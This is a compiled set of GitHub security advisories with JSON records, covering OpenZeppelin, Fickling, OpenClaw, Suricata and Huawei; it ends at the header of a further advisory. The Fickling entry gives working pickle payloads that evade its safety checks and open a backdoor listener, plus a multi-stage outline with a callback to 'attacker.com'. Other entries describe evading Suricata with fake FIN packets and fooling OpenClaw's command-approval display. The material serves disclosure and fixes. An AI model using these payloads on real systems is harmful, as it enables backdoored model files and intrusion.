GHSA-MX2Q-35M2-X2RH

Vulnerability from github – Published: 2023-04-17 16:45 – Updated: 2023-04-18 16:14

Summary

OpenZeppelin Contracts TransparentUpgradeableProxy clashing selector calls may not be delegated

Details

Impact

A function in the implementation contract may be inaccessible if its selector clashes with one of the proxy's own selectors. Specifically, if the clashing function has a different signature with incompatible ABI encoding, the proxy could revert while attempting to decode the arguments from calldata.

The probability of an accidental clash is negligible, but one could be caused deliberately.

Patches

The issue has been fixed in v4.8.3.

Workarounds

If a function appears to be inaccessible for this reason, it may be possible to craft the calldata such that ABI decoding does not fail at the proxy and the function is properly proxied through.

References

https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4154

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@openzeppelin/contracts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@openzeppelin/contracts-upgradeable"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-17T16:45:21Z",
    "nvd_published_at": "2023-04-17T22:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA function in the implementation contract may be inaccessible if its selector clashes with one of the proxy\u0027s own selectors. Specifically, if the clashing function has a different signature with incompatible ABI encoding, the proxy could revert while attempting to decode the arguments from calldata.\n\nThe probability of an accidental clash is negligible, but one could be caused deliberately.\n\n### Patches\n\nThe issue has been fixed in v4.8.3.\n\n### Workarounds\n\nIf a function appears to be inaccessible for this reason, it may be possible to craft the calldata such that ABI decoding does not fail at the proxy and the function is properly proxied through.\n\n### References\n\nhttps://github.com/OpenZeppelin/openzeppelin-contracts/pull/4154\n",
  "id": "GHSA-mx2q-35m2-x2rh",
  "modified": "2023-04-18T16:14:52Z",
  "published": "2023-04-17T16:45:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-mx2q-35m2-x2rh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30541"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/commit/58fa0f81c4036f1a3b616fdffad2fd27e5d5ce21"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenZeppelin/openzeppelin-contracts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenZeppelin/openzeppelin-contracts/releases/tag/v4.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenZeppelin Contracts TransparentUpgradeableProxy clashing selector calls may not be delegated"
}

GHSA-MXHJ-88FX-4PCV

Vulnerability from github – Published: 2026-02-24 21:41 – Updated: 2026-02-24 21:41

Summary

Fickling: OBJ opcode call invisibility bypasses all safety checks

Details

Assessment

The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).

Original report

Summary

All 5 of fickling's safety interfaces -- is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager -- report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.

This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

Details

The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350).

REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:

# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))

The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."

OBJ (fickle.py:1333-1350) does exactly what that comment warns against:

# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))

When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:

from smtplib import SMTP    # import present (from STACK_GLOBAL)
result = None              # no call to SMTP visible

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

Affected APIs

fickling.is_likely_safe() - returns True for bypass payloads
fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
fickling --check-safety CLI - exits with code 0
fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:

import io, struct

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_obj_pop_bypass():
    """
    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
    but the call is invisible to fickling.

    Opcode sequence:
        MARK
          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)
          SHORT_BINUNICODE '127.0.0.1'    (argument)
        OBJ                               (call SMTP('127.0.0.1'), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -> call GONE)
        NONE
        STOP
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    payload.write(b"(")                              # MARK
    payload.write(sbu("smtplib") + sbu("SMTP"))      # push module + func strings
    payload.write(b"\x93")                            # STACK_GLOBAL
    payload.write(sbu("127.0.0.1"))                   # push argument
    payload.write(b"o")                               # OBJ: call SMTP('127.0.0.1')
    payload.write(b"0")                               # POP: discard result
    payload.write(b"N.")                              # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
    f.write(data)

print(fickling.is_likely_safe(path))
# Output: True  <-- BYPASSED (network connection invisible to fickling)

fickling decompiles this to:

from smtplib import SMTP
result = None

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

CLI verification:

$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED

Comparison with REDUCE (same function, detected):

$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1    # DETECTED

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def binint(n):
    return b"J" + struct.pack("<i", n)

def make_backdoor():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
    payload.write(b"(")                                          # MARK
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")  # STACK_GLOBAL
    payload.write(b"(")                                          # MARK (inner tuple)
    payload.write(sbu("0.0.0.0"))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b"t")                                          # TUPLE
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")  # handler
    payload.write(b"o")                                          # OBJ
    payload.write(b"0")                                          # POP
    payload.write(b"N.")                                         # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True  <-- BYPASSED

import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()

Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:

# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker

# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime

always_check_safety() verification:

import fickling, pickle

fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
    result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:

Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.
Process persistence: signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.
Outbound exfiltration: smtplib.SMTP('attacker.com') opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.
File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path.

A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.

The bypass works for any stdlib module NOT in fickling's UNSAFE_IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.

Suggested Fix

Add new_variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):

# fickle.py, Obj.run():
-       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
-           interpreter.stack.append(ast.Call(kls, args, []))
-       else:
-           interpreter.stack.append(ast.Call(kls, kls, []))
+       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
+           call = ast.Call(kls, args, [])
+       else:
+           call = ast.Call(kls, kls, [])
+       var_name = interpreter.new_variable(call)
+       interpreter.stack.append(ast.Name(var_name, ast.Load()))

Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T21:41:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Assessment\n\nThe interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).\n\n# Original report\n\n## Summary\n\nAll 5 of fickling\u0027s safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode\u0027s implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.\n\nThis is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.\n\n## Details\n\nThe vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`).\n\n**REDUCE** (`fickle.py:1286-1301`) correctly persists calls to the AST:\n```python\n# Line 1300: call IS saved to module_body\nvar_name = interpreter.new_variable(call)\ninterpreter.stack.append(ast.Name(var_name, ast.Load()))\n```\n\nThe comment on lines 1296-1299 explicitly states: \"if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used.\"\n\n**OBJ** (`fickle.py:1333-1350`) does exactly what that comment warns against:\n```python\n# Line 1348: call is ONLY on the stack, NOT in module_body\ninterpreter.stack.append(ast.Call(kls, args, []))\n```\n\nWhen the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call:\n```python\nfrom smtplib import SMTP    # import present (from STACK_GLOBAL)\nresult = None              # no call to SMTP visible\n```\n\nYet at runtime, `SMTP(\u0027127.0.0.1\u0027)` executes and opens a TCP connection.\n\n**NEWOBJ** (`fickle.py:1411-1420`) and **NEWOBJ_EX** (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython\u0027s NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-19).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n## PoC\n\nA pickle that opens a TCP connection to an attacker\u0027s server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef make_obj_pop_bypass():\n    \"\"\"\n    Pickle that calls smtplib.SMTP(\u0027127.0.0.1\u0027) at runtime,\n    but the call is invisible to fickling.\n\n    Opcode sequence:\n        MARK\n          STACK_GLOBAL \u0027smtplib\u0027 \u0027SMTP\u0027   (import persisted to AST)\n          SHORT_BINUNICODE \u0027127.0.0.1\u0027    (argument)\n        OBJ                               (call SMTP(\u0027127.0.0.1\u0027), push result)\n                                          (ast.Call on stack only, NOT in AST)\n        POP                               (discard result -\u003e call GONE)\n        NONE\n        STOP\n    \"\"\"\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n\n    payload = io.BytesIO()\n    payload.write(b\"(\")                              # MARK\n    payload.write(sbu(\"smtplib\") + sbu(\"SMTP\"))      # push module + func strings\n    payload.write(b\"\\x93\")                            # STACK_GLOBAL\n    payload.write(sbu(\"127.0.0.1\"))                   # push argument\n    payload.write(b\"o\")                               # OBJ: call SMTP(\u0027127.0.0.1\u0027)\n    payload.write(b\"0\")                               # POP: discard result\n    payload.write(b\"N.\")                              # NONE + STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling, tempfile, os\ndata = make_obj_pop_bypass()\npath = os.path.join(tempfile.mkdtemp(), \"bypass.pkl\")\nwith open(path, \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(path))\n# Output: True  \u003c-- BYPASSED (network connection invisible to fickling)\n```\n\nfickling decompiles this to:\n```python\nfrom smtplib import SMTP\nresult = None\n```\n\nYet at runtime, `SMTP(\u0027127.0.0.1\u0027)` executes and opens a TCP connection.\n\n**CLI verification:**\n```bash\n$ fickling --check-safety bypass.pkl; echo \"EXIT: $?\"\nEXIT: 0    # BYPASSED\n```\n\n**Comparison with REDUCE (same function, detected):**\n```bash\n$ fickling --check-safety reduce_smtp.pkl; echo \"EXIT: $?\"\nWarning: Fickling detected that the pickle file may be unsafe.\nEXIT: 1    # DETECTED\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\ndef binint(n):\n    return b\"J\" + struct.pack(\"\u003ci\", n)\n\ndef make_backdoor():\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n\n    payload = io.BytesIO()\n    # OBJ+POP: TCPServer((\u00270.0.0.0\u0027, 9999), BaseRequestHandler)\n    payload.write(b\"(\")                                          # MARK\n    payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")  # STACK_GLOBAL\n    payload.write(b\"(\")                                          # MARK (inner tuple)\n    payload.write(sbu(\"0.0.0.0\"))                                # host\n    payload.write(binint(9999))                                  # port\n    payload.write(b\"t\")                                          # TUPLE\n    payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")  # handler\n    payload.write(b\"o\")                                          # OBJ\n    payload.write(b\"0\")                                          # POP\n    payload.write(b\"N.\")                                         # NONE + STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"\u003cQ\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling\ndata = make_backdoor()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True  \u003c-- BYPASSED\n\nimport pickle, socket\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\")  # succeeds\ns.close()\nserver.server_close()\n```\n\n### Multi-stage combined PoC\n\nA single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:\n\n```python\n# All four operations in one pickle, all invisible to fickling:\n# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown\n# 2. socketserver.TCPServer((\u00270.0.0.0\u0027, 9999), BaseRequestHandler) - backdoor\n# 3. smtplib.SMTP(\u0027attacker.com\u0027) - C2 callback\n# 4. sqlite3.connect(\u0027/tmp/.marker\u0027) - persistence marker\n\n# fickling reports: LIKELY_SAFE\n# All 4 operations execute at runtime\n```\n\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\nwith open(\"poc_obj_multi.pkl\", \"rb\") as f:\n    result = pickle.load(f)\n# No UnsafeFileError raised -- all 4 malicious operations executed\n```\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:\n\n- **Backdoor network listener**: `socketserver.TCPServer((\u00270.0.0.0\u0027, 9999), BaseRequestHandler)` opens a port on all interfaces. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.\n- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.\n- **Outbound exfiltration**: `smtplib.SMTP(\u0027attacker.com\u0027)` opens an outbound TCP connection. The attacker\u0027s server learns the victim\u0027s IP and hostname.\n- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path.\n\nA single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.\n\nThe bypass works for any stdlib module NOT in fickling\u0027s `UNSAFE_IMPORTS` blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.\n\n## Suggested Fix\n\nAdd `new_variable()` to `Obj.run()` (lines 1348 and 1350), applying the same pattern used by `Reduce.run()` (line 1300):\n\n```python\n# fickle.py, Obj.run():\n-       if args or hasattr(kls, \"__getinitargs__\") or not isinstance(kls, type):\n-           interpreter.stack.append(ast.Call(kls, args, []))\n-       else:\n-           interpreter.stack.append(ast.Call(kls, kls, []))\n+       if args or hasattr(kls, \"__getinitargs__\") or not isinstance(kls, type):\n+           call = ast.Call(kls, args, [])\n+       else:\n+           call = ast.Call(kls, kls, [])\n+       var_name = interpreter.new_variable(call)\n+       interpreter.stack.append(ast.Name(var_name, ast.Load()))\n```\n\nAlso apply to `NewObj.run()` (line 1414) and `NewObjEx.run()` (line 1426) for defense in depth.",
  "id": "GHSA-mxhj-88fx-4pcv",
  "modified": "2026-02-24T21:41:31Z",
  "published": "2026-02-24T21:41:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-mxhj-88fx-4pcv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling: OBJ opcode call invisibility bypasses all safety checks"
}

GHSA-MXMG-3P7M-2GHR

Vulnerability from github – Published: 2026-03-21 03:31 – Updated: 2026-03-24 19:07

Summary

Duplicate Advisory: OpenClaw: system.run approval identity mismatch could execute a different binary than displayed

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hwpq-rrpf-pgcq. This link is maintained to preserve external references.

Original Description

OpenClaw versions prior to 2026.2.25 contain an approval-integrity bypass vulnerability in system.run where rendered command text is used as approval identity while trimming argv token whitespace, but runtime execution uses raw argv. An attacker can craft a trailing-space executable token to execute a different binary than what the approver displayed, allowing unexpected command execution under the OpenClaw runtime user when they can influence command argv and reuse an approval context.

Severity

4.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N

5.7 (Medium)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.2.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:07:00Z",
    "nvd_published_at": "2026-03-21T01:17:09Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-hwpq-rrpf-pgcq. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw versions prior to 2026.2.25 contain an approval-integrity bypass vulnerability in system.run where rendered command text is used as approval identity while trimming argv token whitespace, but runtime execution uses raw argv. An attacker can craft a trailing-space executable token to execute a different binary than what the approver displayed, allowing unexpected command execution under the OpenClaw runtime user when they can influence command argv and reuse an approval context.",
  "id": "GHSA-mxmg-3p7m-2ghr",
  "modified": "2026-03-24T19:07:00Z",
  "published": "2026-03-21T03:31:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hwpq-rrpf-pgcq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/03e689fc89bbecbcd02876a95957ef1ad9caa176"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-approval-identity-mismatch-in-system-run-command-execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: system.run approval identity mismatch could execute a different binary than displayed",
  "withdrawn": "2026-03-24T19:07:00Z"
}

GHSA-P4HG-MVQ8-47JJ

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2024-10-22 18:32

Details

An issue was discovered in Suricata 5.0.0. It is possible to bypass/evade any tcp based signature by overlapping a TCP segment with a fake FIN packet. The fake FIN packet is injected just before the PUSH ACK packet we want to bypass. The PUSH ACK packet (containing the data) will be ignored by Suricata because it overlaps the FIN packet (the sequence and ack number are identical in the two packets). The client will ignore the fake FIN packet because the ACK flag is not set. Both linux and windows clients are ignoring the injected packet.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-18792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-01-06T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Suricata 5.0.0. It is possible to bypass/evade any tcp based signature by overlapping a TCP segment with a fake FIN packet. The fake FIN packet is injected just before the PUSH ACK packet we want to bypass. The PUSH ACK packet (containing the data) will be ignored by Suricata because it overlaps the FIN packet (the sequence and ack number are identical in the two packets). The client will ignore the fake FIN packet because the ACK flag is not set. Both linux and windows clients are ignoring the injected packet.",
  "id": "GHSA-p4hg-mvq8-47jj",
  "modified": "2024-10-22T18:32:03Z",
  "published": "2022-05-24T17:05:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18792"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OISF/suricata/commit/1c63d3905852f746ccde7e2585600b2199cefb4b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OISF/suricata/commit/fa692df37a796c3330c81988d15ef1a219afc006"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/01/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://redmine.openinfosecfoundation.org/issues/3324"
    },
    {
      "type": "WEB",
      "url": "https://redmine.openinfosecfoundation.org/issues/3394"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6X2-6XX4-X843

Vulnerability from github – Published: 2023-06-16 15:30 – Updated: 2024-04-04 04:54

Details

There is a misinterpretation of input vulnerability in Huawei Printer. Successful exploitation of this vulnerability may cause the printer service to be abnormal.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-48471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-436"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-16T13:15:09Z",
    "severity": "HIGH"
  },
  "details": "There is a misinterpretation of input vulnerability in Huawei Printer. Successful exploitation of this vulnerability may cause the printer service to be abnormal.",
  "id": "GHSA-p6x2-6xx4-x843",
  "modified": "2024-04-04T04:54:57Z",
  "published": "2023-06-16T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48471"
    },
    {
      "type": "WEB",
      "url": "https://www.huawei.com/en/psirt/security-advisories/2023/huawei-sa-moivihp-73cabdde-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PC4W-X9P8-64J7

Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-02-18 00:00

Details

